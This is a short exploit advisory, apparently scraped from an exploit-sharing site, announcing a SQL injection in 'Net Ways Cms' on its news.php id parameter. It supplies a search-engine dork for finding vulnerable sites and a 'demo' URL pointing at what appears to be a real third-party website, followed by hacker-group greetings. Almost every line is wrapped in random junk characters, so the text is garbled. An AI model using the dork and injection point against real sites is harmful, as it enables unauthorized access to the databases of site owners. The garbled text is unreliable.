################################################################################??########
5 q- z; I( D$ c% N' b7 r9 `" [#
7 r& K7 x5 j' z$ {4 V( M x9 a# Exploit Title : Net Ways Cms Sql Injection Vulnerability 5 t: ?% Z C4 P9 _' ]3 c
#
- R6 V+ E# F. w+ a# Author : IrIsT.Ir
- L+ L$ \; N( Q$ i# . d4 D; V1 A* K6 N
# Discovered By : Am!r - ~" _% i1 \. ] w/ C. Y
#
- j) x1 o" S; J8 r3 r7 O' T4 R: b3 q' a# Home : http://IrIsT.Ir/forum t1 x$ @9 D5 g+ S0 U0 D6 c5 M# n, ^
# 6 q' F4 v* r8 a5 a# c2 g' K
# Software Link : http://www.netways.com/ www.political-security.com5 b6 G8 @ f$ d6 L+ X" z5 J
#
4 f( d' B Q# O# Z) T# Security Risk : High
# ?) J, ]- N0 H! f2 [# * J/ ^) q @7 b0 q
# Version : All Version
- z% t# n3 G9 n4 L% Y# @$ Q# $ x3 k" ]2 `, R* W
# Tested on : GNU/Linux Ubuntu - Windows Server - win7 " Z* j, a' |) X
#
% U6 G2 |( @9 {$ I( |6 h( @. F# Dork : intext:"Designed & developed by NetWays" # ]5 g' Z& M$ ^7 W3 y: Y& Y& z0 I
# ) ~* k: V! ^( c, F
################################################################################??######## * v) H/ ^( a: j8 F* X1 C: k
# 2 ]! D* A( G6 o6 E# Q
# Expl0iTs :
) j7 B# }5 Z6 D N, [! |# j8 m$ C#
) H$ U( ?$ S$ z* `9 M7 I7 f/ m# http://target.com/news.php?id=[Sql]
6 N+ I1 B& [' @1 n( U# - s! F5 V' Y) a/ U, v
#
3 c$ \* f, a; w* L. b; Q- p# D3mo : & I! O/ E( z8 d, R) S8 l
#
" Z' {$ E {9 M3 U2 G4 f7 Q: f# http://compagnieparento.com/news.php?id=7[Sql] 5 t9 {) B5 M/ O# g9 v
#
7 |) U1 a+ Q! h################################################################################??######## - n1 M5 }: D* ]& Q* q2 P# M
#
! X0 _& Z1 y' k# ]# q" U* o2 \# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r - t0 B, h3 g, d n% V. x' T6 M
#
3 O0 `, b" p4 p7 a9 h9 _) Y# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r 3 P! \. |% h& F4 ~9 }
# 1 u4 x M: Y+ }; j0 D* Q4 O
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
6 l/ L/ }2 }( }' Y2 H2 ` |7 t$ y# 3 c8 C0 U8 ?/ p; [% e. q( [ k" {
################################################################################??######## |